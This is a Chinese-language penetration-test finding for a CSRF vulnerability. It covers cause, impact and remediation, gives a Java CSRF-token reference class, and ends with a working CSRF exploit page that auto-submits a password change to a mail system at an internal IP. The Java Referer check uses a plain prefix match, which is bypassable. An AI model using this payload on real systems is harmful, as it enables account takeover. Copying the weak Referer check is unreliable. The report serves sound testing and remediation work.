CSRF跨站请求伪造漏洞
漏洞名称 | CSRF跨站请求伪造漏洞 |
漏洞地址 | |
漏洞等级 | 中危 |
漏洞描述 | CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞,它利用用户已经登录了某个网站的情况下,通过伪造请求来让用户在不知情的情况下触发一个非法的操作或提交一个非法的请求,从而达到攻击者的目的。攻击者通常会在其他网站上嵌入一些钓鱼链接或者图片,当用户访问这些页面时,被嵌入的代码将会伪造一些页面的请求并发送到目标网站,从而达到攻击目的。 |
漏洞成因 | 数据采用GET或POST请求,数据包中各参数均为用户可控参数,没有设置CSRF-Token,没有验证Referer字段,没有图形验证码和短信、邮件验证码,同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest,没有设置自定义的Http头部字段,以上条件均满足则可以判断网站存在CSRF漏洞。 |
漏洞危害 | 在成功的CSRF攻击中,攻击者会有意识地引导受害用户执行一个操作,可能是更改他们账户上的电子邮件地址,更改他们的口令或进行资金转账。根据动作的性质,攻击者可能能够获得对用户账户的完全控制。如果被攻击的用户在应用程序中拥有特权角色,那么攻击者可能能够完全控制应用程序的所有数据和功能。 |
修复建议 | 1.使用CSRF-Token:业界一致的做法是使用一个CSRF-Token。 CSRF攻击之所以能够成功是因为攻击者可以伪造用户的请求,对此最好的防御手段就是让攻击者无法伪造这个请求。因此,我们可以在Http请求中(千万不要放在Cookie中)以参数的形式添加一个随机的CSRF-Token,并在服务端检查这个CSRF-Token是否正确,如不正确或不存在,则可以认为是不安全的请求,拒绝提供相关服务。 注意: 如果网站同时还存在XSS漏洞时,上述CSRF-Token的方法将可能失效,因为XSS可以模拟浏览器执行操作,攻击者通过XSS漏洞读取CSRF-Token值后,便可以构造出合法的用户请求了。所以在做好CSRF防护的同时,相应的安全防护也应做好。 2.验证Referer字段 在通常情况下,访问一个安全受限页面的请求来自于同一个网站,Http头部中的Referer字段记录了该Http请求的来源地址,如果Referer中的地址不是来源于本网站或不存在则可认为是不安全的请求,对于该请求应予以拒绝。这种方法简单易行,对于现有的系统只需在加上一个检查Referer值的过滤器,无需改变当前系统的任何已有代码和逻辑。 但是,这种方法存在一些问题需要考虑:首先,Referer的值是由浏览器提供的,虽然Http协议上有明确的要求,但是每个浏览器对于Referer的具体实现可能有差别,并且不能保证浏览器自身没有安全漏洞,将安全性交给第三方(即浏览器)保证,从理论上来讲是不可靠的;其次,用户可能会出于保护隐私等原因禁止浏览器提供Referer,这样的话正常的用户请求也可能因没有Referer信息被误判为不安全的请求,无法提供正常的使用。 注意: 如果网站同时还存在XSS漏洞时,上述方法将可能失效,因为XSS可以模拟浏览器执行操作,构造出合法的用户请求,这样Referer字段记录的依然是本网站的地址从而可以绕过Referer校验。所以在做好CSRF防护的同时,相应的安全防护也应做好。 3.添加验证码机制(图形验证码或者短信验证码、邮件验证码) 在用户提交数据之前,让用户输入验证码,或者用户在进行关键操作时,让用户重新输入口令进行验证。 4.校验非标准Http头部X-Requested-With XMLHttpRequest,我们可以在服务端检查这个非标准Http头部X-Requested-With:XMLHttpRequest是否存在,如不存在,则可以认为是不安全的请求,拒绝提供相关服务。 注意: 如果网站同时还存在XSS漏洞或者开启CORS支持时,上述方法将可能失效,因为XSS可以模拟浏览器执行操作,构造出合法的AJAX用户请求,从而绕过非标准Http头部X-Requested-With:XMLHttpRequest校验,所以在做好CSRF防护的同时,相应的安全防护也应做好。 5.设置自定义的Http头部字段,比如CSRF:Token 我们可以在服务端检查这个自定义的Http头部字段是否存在,如不存在,则可以认为是不安全的请求,拒绝提供相关服务。 注意: 如果网站同时开启CORS支持时,上述方法将可能失效,因为攻击者可以模拟浏览器执行操作,构造出合法的AJAX用户请求,从而绕过自定义的Http头部字段校验,所以在做好CSRF防护的同时,相应的安全防护也应做好。 |
初测过程 | 数据采用GET或POST请求,数据包中各参数均为用户可控参数,没有设置CSRF-Token,没有验证Referer字段,没有图形验证码和短信、邮件验证码,同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest,没有设置自定义的Http头部字段,所以综上判断网站存在CSRF漏洞。 |
复测过程 | |
复测结果 | 未修复 |
初测人员 | |
复测人员 |
参考代码:
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.util.UUID;
public class CsrfTokenManager {
private static final String CSRF_TOKEN_SESSION_ATTR = "csrfToken";
// Generate a CSRF token and store it in the session
public static void generateCsrfToken(HttpSession session) {
String token = UUID.randomUUID().toString(); // Generate a unique token
session.setAttribute(CSRF_TOKEN_SESSION_ATTR, token);
}
// Get the CSRF token from the session
public static String getCsrfToken(HttpSession session) {
return (String) session.getAttribute(CSRF_TOKEN_SESSION_ATTR);
}
// Validate the CSRF token and the Referer header
public static boolean isValidCsrfToken(HttpServletRequest request, HttpSession session) {
if (!request.getMethod().equalsIgnoreCase("POST")) {
return false;
}
String requestToken = request.getParameter(CSRF_TOKEN_SESSION_ATTR);
String sessionToken = getCsrfToken(session);
String referer = request.getHeader("Referer");
return isTokenValid(requestToken, sessionToken) && isValidReferer(referer);
}
// Validate the CSRF token
private static boolean isTokenValid(String requestToken, String sessionToken) {
return requestToken != null && sessionToken != null && requestToken.equals(sessionToken);
}
// Validate the Referer header
private static boolean isValidReferer(String referer) {
// Implement domain-specific logic for Referer validation
return referer != null && referer.startsWith("https://yourdomain.com");
}
}
在上述代码中,generateCsrfToken方法用于生成并存储CSRF令牌,getCsrfToken方法用于获取CSRF令牌。isValidCsrfToken方法用于验证CSRF令牌和Referer字段的有效性,确保请求是POST请求,CSRF-Token有效,并且Referer字段有效。isValidReferer方法是一个辅助方法,用于验证Referer字段的有效性。请根据实际应用的需要调整代码中的域验证逻辑。
构造CSRF利用代码:
<html>
<body>
<form action="http://172.31.159.11/mail/modifyPwd/newModifyPwd" method="POST" enctype="application/x-www-form-urlencoded" >
<input type="hidden" name="oldPWD" value="" />
<input type="hidden" name="againPWD" value="admin123!@#$" />
<input type="hidden" name="newPWD" value="admin123!@#$" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>